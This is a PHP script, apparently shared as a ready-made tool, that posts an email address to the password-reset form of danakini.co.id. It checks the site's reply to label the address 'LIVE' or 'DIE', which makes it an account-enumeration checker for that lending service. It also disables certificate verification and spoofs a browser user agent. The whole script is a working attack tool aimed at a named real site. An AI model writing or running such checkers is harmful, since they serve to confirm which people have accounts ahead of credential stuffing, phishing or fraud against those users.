danakini.co.id valid mail

<?php
// Created by AlexaMP
// Created date Sept 2018
// Contact us [email protected]
// Version 1.0.01
$email = "[email protected]";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://www.danakini.co.id/index.php/Signin/ForgotPassword');
curl_setopt($ch, CURLOPT_ENCODING ,"");
curl_setopt($ch, CURLOPT_POSTFIELDS,"email=$email");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-type: application/x-www-form-urlencoded"));
$res = curl_exec($ch);
if (stristr($res,"Email tidak terdaftar.")){
echo "[]DIE  | $email ./AlexaMP";
}else{
echo "[]LIVE  | $email .AlexaMP";
}
?>